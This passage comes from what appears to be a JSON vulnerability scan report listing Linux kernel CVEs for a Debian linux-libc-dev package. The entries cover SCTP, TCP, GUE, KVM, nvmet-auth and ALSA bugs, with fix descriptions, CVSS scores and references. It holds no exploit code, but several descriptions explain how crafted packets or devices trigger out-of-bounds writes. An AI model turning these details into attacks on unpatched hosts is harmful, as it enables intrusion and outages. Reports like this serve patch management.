above,\nsctp_cmd_setup_t2() and the sctp_make_*() reply builders would also\ncopy that pointer into association-lifetime state that\nsctp_assoc_rm_peer() has already sanitized. Let the peer retransmit\nthem, in line with what sctp_inq_push() does for chunks whose\ntransport was removed before processing.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98548", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98548.mbox", "https://git.kernel.org/stable/c/1cd246b214dc9acf4e2f11d58c035e1e672fe7d2", "https://git.kernel.org/stable/c/4498467a8af06cfa3d71cb04bd7c4170dec8f449", "https://git.kernel.org/stable/c/6df536c5acbc0abd6f119d02e24f4a2ed97707f4", "https://git.kernel.org/stable/c/854c053c71459f8db7ef07db9cfa4eec5f5206f2", "https://git.kernel.org/stable/c/965e21ea16acb394d5e5801998ca9b0adc669665", "https://git.kernel.org/stable/c/c0af3fd150fdc43821df3bb77e5ec74faf4dfc7a", "https://git.kernel.org/stable/c/d68c9287b3ca0d6faadc61fbcb18d1a6b5493321", "https://git.kernel.org/stable/c/ec23855274a73906b02f0d124fefd9cb3c008b1d", "https://linux.oracle.com/cve/CVE-2026-98548.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98548", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98548" ], "PublishedDate": "2026-10-18T16:17:06.767Z", "LastModifiedDate": "2026-10-24T14:16:46.943Z" }, { "VulnerabilityID": "CVE-2026-98549", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98549", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eb9ca1ce365b8957af1e8c3085f768a72521adcb297b114e755b9e0a7decba9f", "Title": "kernel: tcp: prevent collapsing skbs across boundary in rtx queue", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: prevent collapsing skbs across boundary in rtx queue\n\ntcp_write_collapse_fence() sets TCP_SKB_CB(skb)-\u003eeor = 1 on\ntcp_write_queue_tail(sk) to prevent skbs queued after a switch to\ndevice encryption from being collapsed into earlier skbs.\n\nThe fence is a no-op if all earlier data has already been transmitted\nwhen the switch happens: sk-\u003esk_write_queue is empty. The not yet\nacknowledged earlier skbs wait in sk-\u003etcp_rtx_queue with eor 0.\n\nOn a subsequent retransmit or SACK shift, tcp_retrans_try_collapse() or\ntcp_shift_skb_data() can then merge an skb queued after the switch into\none queued before it.\n\nBoth users of the fence are affected:\n\n- psp: devices only encrypt skbs with skb-\u003edecrypted set. The merged skb\n keeps decrypted = 0 from the earlier skb, so merged data sent after\n psp_sock_assoc_set_tx() is retransmitted in cleartext.\n\n- tls device offload: the merged skb straddles the start marker set in\n tls_set_device_offload(). The software fallback (fill_sg_in() returns\n -EINVAL) and the mlx5, nfp and funeth drivers cannot handle such an\n skb and drop it. Every retransmit rebuilds the same skb, so the\n connection stalls.\n\nFix this in two places, for defense in depth:\n\n1. Fall back to tcp_rtx_queue_tail(sk) in tcp_write_collapse_fence()\n when tcp_write_queue_tail(sk) is NULL.\n\n2. Check !skb_cmp_decrypted(to, from) in tcp_skb_can_collapse(), as\n tcp_skb_can_collapse_rx() does on receive. skb_shift(), which both\n collapse paths call, already has a DEBUG_NET_WARN_ON_ONCE() for this\n condition.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98549", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98549.mbox", "https://git.kernel.org/stable/c/08e835f5ec6e261c79d8c39f8618b3af29e3b0da", "https://git.kernel.org/stable/c/1ae7aee395245874d797890380d9192bd858fb7e", "https://git.kernel.org/stable/c/533344a00ad968181e60d0980c076a9d0de57482", "https://git.kernel.org/stable/c/7061aafc680e14e22b191f178b768886475f8524", "https://git.kernel.org/stable/c/7ba87509c54cd519e7ed362e0c85e8431f066a18", "https://git.kernel.org/stable/c/9e2a2f98e8c0197108c6d97a1fa43bfd89071c30", "https://git.kernel.org/stable/c/bf785a303e5faad16439c563826a07cb811856c8", "https://git.kernel.org/stable/c/fc6d80eb504458d6416b75a94188b268c95c6533", "https://linux.oracle.com/cve/CVE-2026-98549.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98549", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98549" ], "PublishedDate": "2026-10-18T16:17:06.913Z", "LastModifiedDate": "2026-10-30T13:21:15.94Z" }, { "VulnerabilityID": "CVE-2026-98573", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98573", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6793fac920da1c758bc4dac48fc76334867c1a5f819450b3e20b1fe71405aea0", "Title": "kernel: net: skbuff: fix pull-bound underflow in skb_checksum_setup_ipv6()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: fix pull-bound underflow in skb_checksum_setup_ipv6()\n\nskb_maybe_pull_tail() subtracts skb_headlen(skb) from the unsigned max\nargument and passes the result to __pskb_pull_tail() as a signed int. The\nfunction does not ensure that max is at least skb_headlen(skb).\n\nThis can happen while parsing IPv6 extension headers when an skb already\nhas a linear area larger than MAX_IPV6_HDR_LEN. Once the parser needs data\nbeyond the linear area, max - skb_headlen(skb) wraps and is converted to a\nnegative delta. __pskb_pull_tail() then passes that negative length to\nskb_copy_bits(), where it can become a very large copy length.\n\nPass the requested length itself as the pull bound at the three\nextension-header call sites, so the delta can no longer go negative.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98573", "https://access.redhat.com/security/cve/CVE-2026-98573", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98573.mbox", "https://git.kernel.org/stable/c/3b4e0b0c008a8c1b474730248cd5b873026c74bd", "https://git.kernel.org/stable/c/6c28c31f051dbf49c71ba7ab7bb9bc905fa1d14b", "https://git.kernel.org/stable/c/718747afa5463d9cc5fd9a09f03b2a492edd9b78", "https://git.kernel.org/stable/c/9c4e432132a97b82edf28fa172c39f743e6bfb26", "https://git.kernel.org/stable/c/a0ad0473c09d2e947aecac5c82e637ec85924b12", "https://git.kernel.org/stable/c/b2da5ed3d8c75e1b729a21b6d3beaed415e263f6", "https://git.kernel.org/stable/c/cfa643f2ca36c6f913fe1a2ceb12412ebb0fd962", "https://git.kernel.org/stable/c/d7f474226809471dc7877435e9c492cc914df0bf", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-idogxjih1owf.toml", "https://linux.oracle.com/cve/CVE-2026-98573.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98573", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98573" ], "PublishedDate": "2026-10-18T16:17:09.587Z", "LastModifiedDate": "2026-10-19T10:19:15.453Z" }, { "VulnerabilityID": "CVE-2026-98614", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0afeb1367281548fa2c8836d771af24c7b1dc89942294d0febe18fa454533a3f", "Title": "kernel: sctp: avoid livelock while updating retransmit path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: avoid livelock while updating retransmit path\n\nsctp_assoc_update_retran_path() can loop forever when every remaining\ntransport, including retran_path, is SCTP_UNCONFIRMED: the state check\nruns before the wraparound test, so the loop cannot observe that it has\ncompleted a full pass.\n\nFix this by considering a transport only when it is not UNCONFIRMED,\nthen checking whether the walk has returned to retran_path. This makes\nthe full-pass termination independent of the transport state while\npreserving the existing fallback selection semantics.\n\nAlso restore the NULL guard around the retran_path assignment. In the\nall-UNCONFIRMED case there is no eligible replacement transport, and\ninstalling NULL would leave later retransmit-path users and the debug\nprint with a NULL path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98614", "https://access.redhat.com/security/cve/CVE-2026-98614", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98614.mbox", "https://git.kernel.org/stable/c/173610fff55022a5ad1579fbcc7faa97467b58b7", "https://git.kernel.org/stable/c/3fe624c3843694ab096fdb198526ba0c659febbe", "https://git.kernel.org/stable/c/43410c1f2db53516e95ddd7e5b4b02f495b78121", "https://git.kernel.org/stable/c/83b1a7f9e718828ef364a7b004254ebb2d0035fe", "https://git.kernel.org/stable/c/c9338057df1025f578fe7d0ff08bada87b8b838d", "https://git.kernel.org/stable/c/d2c31b837406395e576afeb25958c98e9938f3f6", "https://git.kernel.org/stable/c/d893a7cc1cb41dd510f338bb2bfd8f29b14eaf49", "https://git.kernel.org/stable/c/ddc34cc0834c873871e88b055ee6a260676efe97", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-u6zqwgyfcgeo.toml", "https://linux.oracle.com/cve/CVE-2026-98614.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98614", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98614" ], "PublishedDate": "2026-10-18T16:17:14.267Z", "LastModifiedDate": "2026-10-19T10:19:25.303Z" }, { "VulnerabilityID": "CVE-2026-98621", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98621", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:140d7acd7bbe908451fe3f3629098c2576dcdb189874083b1a9399cc4cd325c0", "Title": "kernel: net: gue: reject invalid REMCSUM offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gue: reject invalid REMCSUM offsets\n\nThe REMCSUM option carries an absolute checksum start and checksum field\noffset. gue_remcsum() passes them to skb_remcsum_process(), whose\npartial path stores offset - start in the u16 skb-\u003ecsum_offset variable.\nIf offset is less than start, this underflows.\n\nA forwarded packet can retain CHECKSUM_PARTIAL and reach a NETIF_F_HW_CSUM\ndriver which trusts the metadata, leading skb_copy_and_csum_dev() to write\ntwo bytes about 64 KiB beyond the destination buffer.\n\nReject reversed tuples in validate_gue_flags(), after the existing length\nvalidation, so all GUE parsers enforce the ordering in one place.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98621", "https://access.redhat.com/security/cve/CVE-2026-98621", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98621.mbox", "https://git.kernel.org/stable/c/1d664be4ca49d1696e85239236f4988dfc4653c3", "https://git.kernel.org/stable/c/1eeec0c51fd5598da44080ed96bbd9880021c28b", "https://git.kernel.org/stable/c/2566866fc30965d915d0b52b5c3323b362619f0e", "https://git.kernel.org/stable/c/40aeafbcbc7bc4018e8f74bbbb4d29ed8846f57f", "https://git.kernel.org/stable/c/43efb1f997e976f386aa89716f55870cd2cff9ad", "https://git.kernel.org/stable/c/4b9bc21b2396c396d88dd909caaf73d5be6ff593", "https://git.kernel.org/stable/c/97f907203321eee2cc9132d5c9eb47698fb41d35", "https://git.kernel.org/stable/c/c20f755338ca234e523dfc943719f194dfc1f903", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ywihoct68xw3.toml", "https://linux.oracle.com/cve/CVE-2026-98621.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98621", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98621" ], "PublishedDate": "2026-10-18T16:17:14.997Z", "LastModifiedDate": "2026-10-19T10:19:26.217Z" }, { "VulnerabilityID": "CVE-2026-98715", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98715", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5acae5885813cade3242593198d81b97e819785f8ac9d59a3ae00ce8aa61f275", "Title": "kernel: KVM: SVM: Preserve TLB control (i.e. pending TLB flush) on failed VMRUN", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Preserve TLB control (i.e. pending TLB flush) on failed VMRUN\n\nDon't reset the VMCB's TLB control back to \"do nothing\" on a failed VMRUN,\nas empirical testing shows that the CPU performs the requested TLB flush if\nand only if VMRUN is successful, i.e. clearing TLB control on a failed\nVMRUN effectively drops a TLB flush.\n\nExplicitly track the need to flush all ASIDs on a per-CPU basis, as the\nASID reuse condition is tied to the pCPU, not to the vCPU. As a bonus,\nthis also obviates the need to avoid clobbering FLUSH_ALL_ASID with\nTLB_CONTROL_FLUSH_ASID, e.g. in svm_flush_tlb_asid().\n\nDeliberately don't bother saving/restoring the \"old\" tlb_ctl on failure,\nin quotes because it's not exactly the old tlb_ctl, it's the tlb_ctl from\nafter pre_svm_run(), but before updating tlb_ctl for flush_all_asids. If\nVMRUN fails and TLB_CONTROL_FLUSH_ALL_ASID is forced, then the next\nsuccessful run of the VMCB *may* unnecessarily flush all ASIDs, which\nstrictly speaking could result in noisy neighbor issues. However, the\nfact that new_asid() is already guest-triggerable, because of KVM's flawed\nbehavior of clearing the ASID on emulated INIT, means that a guest can\nalready trigger a flush of all ASIDs at roughly the same rate. And once\nKVM stops clobbering the ASID on emulated INIT, *or* assigns a static ASID\nto each vCPU, this flaw goes away.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98715", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98715.mbox", "https://git.kernel.org/stable/c/60d93c27859fb3ec5b5a689e24de303f166477d0", "https://git.kernel.org/stable/c/f2bd7cf6a83e49c710e2b93d3064fa0ebb7e0006", "https://git.kernel.org/stable/c/fd873c3d1b5240e80365f09e758e8c96b88a7cdb", "https://nvd.nist.gov/vuln/detail/CVE-2026-98715", "https://www.cve.org/CVERecord?id=CVE-2026-98715" ], "PublishedDate": "2026-10-18T16:17:25.05Z", "LastModifiedDate": "2026-11-06T18:18:30.193Z" }, { "VulnerabilityID": "CVE-2026-98716", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98716", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c9571f17a33ac156799e08e550740c3030c3309915afcb198d542e68d65ec7c8", "Title": "kernel: KVM: SVM: Use the active VMCB's MSR bitmap when checking if MSR is intercepted", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Use the active VMCB's MSR bitmap when checking if MSR is intercepted\n\nUse the MSR permission bitmap of the active VMCB instead of assuming that\nKVM is always using vmcb02's bitmap when L2 is active, as KVM uses msrpm02\nif and only if L1 wants to intercept MSR accesses, i.e. if and only if KVM\nneeds to merge msprm01 with msrpm12.\n\nDon't bother tracking the virtual address of the bitmap that's being used,\nas __va() is cheap on x86, and caching the virtual address would introduce\nyet another source of potentially stale information.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98716", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98716.mbox", "https://git.kernel.org/stable/c/001c78bc64389cabe4f9015ab3942ec9c3592caa", "https://git.kernel.org/stable/c/0e79ebf6f92a7d15187aede44204fa04b93e474c", "https://git.kernel.org/stable/c/318ef696fa3c712e46bb62a1a828c3cd62f390c3", "https://git.kernel.org/stable/c/552a110c403f1a61eba0bf71519c6585d9d4242d", "https://git.kernel.org/stable/c/55865b3ae03705aa39198783b9cb1f8b96eb44e4", "https://git.kernel.org/stable/c/74836ae4785b9754bb36d0b18fcc1dec4e5e98d2", "https://git.kernel.org/stable/c/84da7a0e92207444d9cbfe69965e17db29008f27", "https://git.kernel.org/stable/c/9e06bbb9ade7cdf28d4a3b5b14e5812881c8df85", "https://nvd.nist.gov/vuln/detail/CVE-2026-98716", "https://www.cve.org/CVERecord?id=CVE-2026-98716" ], "PublishedDate": "2026-10-18T16:17:25.15Z", "LastModifiedDate": "2026-10-30T13:21:20.837Z" }, { "VulnerabilityID": "CVE-2026-98725", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a9c00115b018a2ce7c6775116ccf4a94b52ab05fc4ae8cc4693eca6ffb0007ca", "Title": "kernel: nvmet-auth: fix out-of-bounds write in nvmet_auth_challenge()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: fix out-of-bounds write in nvmet_auth_challenge()\n\nnvmet_auth_challenge() receives its output buffer as a void pointer.\nsizeof(*d) therefore evaluates to one with GCC and undercounts the fixed\nchallenge header by 15 bytes. A short AUTH_RECEIVE buffer can pass the\ncheck before the challenge is copied past the end of its allocation.\n\nUse the typed challenge pointer when calculating the response size.\n\n BUG: KASAN: slab-out-of-bounds in nvmet_execute_auth_receive (drivers/nvme/target/fabrics-cmd-auth.c:442 drivers/nvme/target/fabrics-cmd-auth.c:569)\n Write of size 32 by task kworker/1:1H/64\n Workqueue: nvmet_tcp_wq nvmet_tcp_io_work\n Call Trace:\n nvmet_execute_auth_receive (drivers/nvme/target/fabrics-cmd-auth.c:442 drivers/nvme/target/fabrics-cmd-auth.c:569)\n nvmet_tcp_try_recv_pdu (drivers/nvme/target/tcp.c:1119 drivers/nvme/target/tcp.c:1243)\n nvmet_tcp_io_work (drivers/nvme/target/tcp.c:1350 drivers/nvme/target/tcp.c:1382 drivers/nvme/target/tcp.c:1445)\n process_one_work (kernel/workqueue.c:3322)\n worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)\n kthread (kernel/kthread.c:436)\n ret_from_fork (arch/x86/kernel/process.c:158)\n ret_from_fork_asm (arch/x86/entry/entry_64.S:245)\n The buggy address is located 16 bytes inside of\n allocated 33-byte region [ffff888000554e80, ffff888000554ea1)\n Kernel panic - not syncing: KASAN: panic_on_warn set ...", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98725.mbox", "https://git.kernel.org/stable/c/7fd3c363eba4f2aceb4b3f31cd1cf65e0dcbaee4", "https://git.kernel.org/stable/c/8a9b4c0eef19c207663c1ee888257307c869ca86", "https://git.kernel.org/stable/c/9d61131acd742cf97ee64e453383e41b46568513", "https://git.kernel.org/stable/c/e94ff1771c4cb398749789557f0b6feb871e3486", "https://git.kernel.org/stable/c/ef4dfad231a787aded76e5b03788ddb18c8aebab", "https://git.kernel.org/stable/c/fa6778e030bed9841ddcdf96bc7018da9ac03562", "https://linux.oracle.com/cve/CVE-2026-98725.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98725", "https://www.cve.org/CVERecord?id=CVE-2026-98725" ], "PublishedDate": "2026-10-18T16:17:26.12Z", "LastModifiedDate": "2026-10-30T13:21:21.28Z" }, { "VulnerabilityID": "CVE-2026-98741", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98741", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e3f784e0a22667a3f8c6b0ce1724f371bd20948557e8075c1ccd731c71a3caf9", "Title": "kernel: ALSA: ua101: reject mismatched capture/playback packet sizes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: ua101: reject mismatched capture/playback packet sizes\n\ndetect_usb_format() cross-checks bSubframeSize, bBitResolution and\ntSamFreq between the capture and playback interfaces, but never relates\nthe two endpoints' wMaxPacketSize and bNrChannels. Each playback URB\ngets a buffer of ua-\u003eplayback.max_packet_bytes, while the number of\nbytes written into it is derived from the capture stream:\ncapture_urb_complete() computes frames from the received capture packet\nand capture.frame_bytes, and start_usb_playback() and playback_work()\nmultiply that by playback.frame_bytes.\n\nA device declaring a large capture wMaxPacketSize with few capture\nchannels and a small playback wMaxPacketSize with many playback channels\ntherefore memset()s and memcpy()s past the end of the playback buffer,\nin open() of the PCM node the driver registers during probe.\nusb_submit_urb() rejects the over-long iso_frame_desc[0].length with\n-EMSGSIZE, but only after the write.\n\nReject such descriptors at probe time. Genuine UA-101/UA-1000 